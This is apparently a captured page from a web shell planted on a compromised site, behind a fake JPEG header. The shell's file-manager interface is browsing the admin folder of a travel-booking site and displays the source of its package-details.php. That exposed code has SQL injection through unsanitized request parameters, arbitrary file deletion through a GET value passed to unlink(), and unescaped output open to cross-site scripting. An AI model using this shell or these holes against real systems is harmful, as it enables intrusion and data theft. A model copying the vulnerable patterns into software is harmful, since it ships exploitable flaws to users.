����JFIF���������
1#@!#!123s
D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
C:
/
Inetpub
/
vhosts
/
rjinfotechindia.com
/
americcoholidays.com
/
admin
/
Filename :
package-details.php
back
Copy
<?php include_once 'checkauthenticator.php'; if(isset($_REQUEST['location'])){ $location=$_REQUEST['location']; }else{ $location=''; } include_once 'include/admin-main.php'; $select_obj= new admin(); $result1=$select_obj->select_package("package",$location); //without position $result2=$select_obj->select_package("package",$location); //delete gallery images if(isset($_GET['delete'])){ $id=$_GET['id']; $delete=$_GET['delete']; $result=mysqli_query($con,"select sl_img from package where id='$id'"); $img=mysqli_fetch_array($result); $img_arr=$img['sl_img']; $propertyx_image=json_decode($img_arr); $new2=array_diff($propertyx_image,array($delete)); $new3=array_values($new2); $new_arr_data=json_encode($new3); $updt=mysqli_query($con,"update `package` set sl_img='$new_arr_data' where id='$id'"); unlink("upload/tour/".$delete); if($updt) { echo "<script>alert('Image deleted Successfully')</script>"; echo "<script>window.location='$_SERVER[HTTP_REFERER]'</script>"; } } /* this code is used for inactive */ if($_REQUEST['action']=='Inactive'){ if(mysqli_query($con,"update package set status='Inactive' where id=".$_REQUEST['id'])){ ?> <script> alert("Not show on home page successfully"); window.location.href="<?php echo $_SERVER['HTTP_REFERER'];?>"; </script> <?php } else{ ?> <script type="text/javascript"> alert("Error! Data Not Deactive"); window.location.href="<?php echo $_SERVER['HTTP_REFERER'];?>"; </script> <?php } } /* this code is used for active */ if($_REQUEST['action']=='Active'){ if(mysqli_query($con,"update package set status='Active' where id=".$_REQUEST['id'])){ ?> <script> alert("show on home page successfully"); window.location.href="<?php echo $_SERVER['HTTP_REFERER'];?>"; </script> <?php } else{ ?> <script type="text/javascript"> alert("Error! Data Not Deactive"); window.location.href="<?php echo $_SERVER['HTTP_REFERER'];?>"; </script> <?php } } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Travel | Package Details</title> <meta content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no' name='viewport'> <!-- bootstrap 3.0.2 --> <link href="css/bootstrap.min.css" rel="stylesheet" type="text/css" /> <!-- font Awesome --> <link href="css/font-awesome.min.css" rel="stylesheet" type="text/css" /> <!-- Ionicons --> <link href="css/ionicons.min.css" rel="stylesheet" type="text/css" /> <!-- DATA TABLES --> <link href="css/datatables/dataTables.bootstrap.css" rel="stylesheet" type="text/css" /> <!-- Theme style --> <link href="css/AdminLTE.css" rel="stylesheet" type="text/css" /> <script type="text/javascript" src="jquery-1.8.0.min.js"></script> <!----------------------------End-------------------------------------> </head> <body class="skin-blue"> <!-- header logo: style can be found in header.less --> <?php include_once 'include/header.php'?> <div class="wrapper row-offcanvas row-offcanvas-left" id="addMenuCss"> <!-- Left side column. contains the logo and sidebar --> <?php include_once 'include/left-menu.php'?> <!-- Right side column. Contains the navbar and content of the page --> <aside class="right-side"> <!-- Content Header (Page header) --> <section class="content-header"> <ol class="breadcrumb"> <li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li> <li><a href="#">Tables</a></li> <li class="active">Data tables</li> </ol> <a href="add-package.php"> <input type="button" value="Add New" style="margin-top:5px" class="btn btn-success"> </a> </section> <!-- Main content --> <section class="content"> <div class="row"> <div class="col-xs-12"> <div class="box"> <div class="box-header"> <h3 class="box-title">Package details</h3> </div> <!-- /.box-header --> <div class="box-body table-responsive"> <table class="table table-bordered table-striped"> <thead> <tr> <th align="center"><img src="img/drop.png"></th> <th>Location</th> <th>Package</th> <th>Package Name</th> <th>Price</th> <th>Heading</th> <th>image</th> <th>Position</th> <th>Home Status</th> <th>Delete</th> <th>Edit</th> </tr> </thead> <tbody> <?php while($row=mysqli_fetch_array($result1)){ if($row['position']!='0'){ ?> <script> function update_position<?php echo $row['id']?>(posval){ if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else{// code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function(){ if (xmlhttp.readyState==4 && xmlhttp.status==200){ //alert(xmlhttp.responseText); //document.getElementById("txtHint").innerHTML=xmlhttp.responseText; } } xmlhttp.open("GET","update-position.php?rowId=<?php echo $row['id'] ?>&pos="+posval+"&action=position",true); xmlhttp.send(); } </script> <tr> <td onClick="return ShowHide<?php echo $row['id']?>()"><a style="cursor:pointer;" id="displayText<?php echo $row['id']?>">Show Details</a></td> <td style="text-transform:capitalize"><?php echo $row['type'];?></td> <td><?php echo $row['place_name'];?></td> <td><?php echo $row['package'];?></td> <td><?php echo number_format($row['price'],2);?></td> <td><?php echo $row['heading'];?></td> <td><img src="upload/place/<?php echo $row['id'];?>.jpg" height="150" width="150"></td> <td><input type="number" style="width: 50px;" id="posis" value="<?php echo $row['position']?>" onBlur="update_position<?php echo $row['id']?>(this.value)"></td> <td><?php if($row['status']=='Active'){?> <a href="<?php echo $_SESSION['PHP_SELF'];?>?action=Inactive&id=<?php echo $row['id']; ?>" title="Active"> <button class="btn btn-success btn-xs"><?php echo $row['status']?></button> </a> <?php } else{?> <a href="<?php echo $_SESSION['PHP_SELF'];?>?action=Active&id=<?php echo $row['id']?>" title="Inactive"> <button class="btn btn-danger btn-xs" style="padding: 1px 6px;"><?php echo $row['status']?></button> </a> <?php }?></td> <td><a href="include/del-action-pack.php?id=<?php echo $row['id']?>"><img src="img/delete.png" style="cursor:pointer" onClick="return confirm('Are you sure want to delete ?')" title="delete"></a></td> <td><a href="edit-package-details.php?id=<?php echo $row['id'];?>"><img src="img/edit.png" title="edit"></a></td> </tr> <tr style="height:2px!important"> <td colspan="11"><div id="result_<?php echo $row['id'];?>"> </div></td> </tr> <script> function ShowHide<?php echo $row['id']?>(){ div1=document.getElementById('Mk_DIV<?php echo $row['id']?>'); disTxt=document.getElementById('displayText<?php echo $row['id']?>'); if(div1.style.display=='none'){ div1.style.display=''; disTxt.innerHTML='Hide Details'; } else{ div1.style.display='none'; disTxt.innerHTML='Show Details'; } } </script> <tr style="display:none" id="Mk_DIV<?php echo $row['id']?>"> <td colspan="9"><table border="0" cellpadding="10px" cellpadding="10px"> <tr> <th valign="top">Package Name</th> <td><?php echo $row['place_name'];?></td> </tr> <tr> <th valign="top">Price</th> <td><?php echo number_format($row['price'],2);?></td> </tr> <tr> <th>Details</th> <td><?php echo $row['p_desc'] ?></td> </tr> </table> </td> </tr> <?php } }?> <?php while($row=mysqli_fetch_array($result2)){ if($row['position']=='0'){ ?> <script> function update_position<?php echo $row['id']?>(posval){ if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else{// code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function(){ if (xmlhttp.readyState==4 && xmlhttp.status==200){ //alert(xmlhttp.responseText); //document.getElementById("txtHint").innerHTML=xmlhttp.responseText; } } xmlhttp.open("GET","update-position.php?rowId=<?php echo $row['id'] ?>&pos="+posval+"&action=position",true); xmlhttp.send(); } </script> <tr> <td onClick="return ShowHide<?php echo $row['id']?>()"><a style="cursor:pointer;" id="displayText<?php echo $row['id']?>">Show Details</a></td> <td style="text-transform:capitalize"><?php echo $row['type'];?></td> <td><?php echo $row['place_name'];?></td> <td><?php echo $row['package'];?></td> <td><?php echo number_format($row['price'],2);?></td> <td><?php echo $row['heading'];?></td> <td><img src="upload/place/<?php echo $row['id'];?>.jpg" height="150" width="150"></td> <td><input type="number" style="width: 50px;" id="posis" value="<?php echo $row['position']?>" onBlur="update_position<?php echo $row['id']?>(this.value)"></td> <td><?php if($row['status']=='Active'){?> <a href="<?php echo $_SESSION['PHP_SELF'];?>?action=Inactive&id=<?php echo $row['id']; ?>" title="Active"> <button class="btn btn-success btn-xs"><?php echo $row['status']?></button> </a> <?php } else{?> <a href="<?php echo $_SESSION['PHP_SELF'];?>?action=Active&id=<?php echo $row['id']?>" title="Inactive"> <button class="btn btn-danger btn-xs" style="padding: 1px 6px;"><?php echo $row['status']?></button> </a> <?php }?></td> <td><a href="include/del-action-pack.php?id=<?php echo $row['id']?>"><img src="img/delete.png" style="cursor:pointer" onClick="return confirm('Are you sure want to delete ?')" title="delete"></a></td> <td><a href="edit-package-details.php?id=<?php echo $row['id'];?>"><img src="img/edit.png" title="edit"></a></td> </tr> <tr style="height:2px!important"> <td colspan="11"><div id="result_<?php echo $row['id'];?>"> </div></td> </tr> <script> function ShowHide<?php echo $row['id']?>(){ div1=document.getElementById('Mk_DIV<?php echo $row['id']?>'); disTxt=document.getElementById('displayText<?php echo $row['id']?>'); if(div1.style.display=='none'){ div1.style.display=''; disTxt.innerHTML='Hide Details'; } else{ div1.style.display='none'; disTxt.innerHTML='Show Details'; } } </script> <tr style="display:none" id="Mk_DIV<?php echo $row['id']?>"> <td colspan="9"><table border="0" cellpadding="10px" cellpadding="10px"> <tr> <th valign="top">Package Name</th> <td><?php echo $row['place_name'];?></td> </tr> <tr> <th valign="top">Price</th> <td><?php echo number_format($row['price'],2);?></td> </tr> <tr> <th>Details</th> <td><?php echo $row['p_desc'] ?></td> </tr> </table> </td> </tr> <?php } }?> </tbody> </table> </div> <!-- /.box-body --> </div> <!-- /.box --> </div> </div> </section> <!-- /.content --> </aside> <!-- /.right-side --> </div> <!-- ./wrapper --> <!-- jQuery 2.0.2 --> <script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.2/jquery.min.js"></script> <!-- Bootstrap --> <script src="js/bootstrap.min.js" type="text/javascript"></script> <!-- DATA TABES SCRIPT --> <script src="js/plugins/datatables/jquery.dataTables.js" type="text/javascript"></script> <script src="js/plugins/datatables/dataTables.bootstrap.js" type="text/javascript"></script> <!-- AdminLTE App --> <script src="js/AdminLTE/app.js" type="text/javascript"></script> <!-- page script --> <script type="text/javascript"> $(function() { $("#example1").dataTable(); $('#example2').dataTable({ "bPaginate": true, "bLengthChange": false, "bFilter": false, "bSort": true, "bInfo": true, "bAutoWidth": false }); }); </script> </body> </html>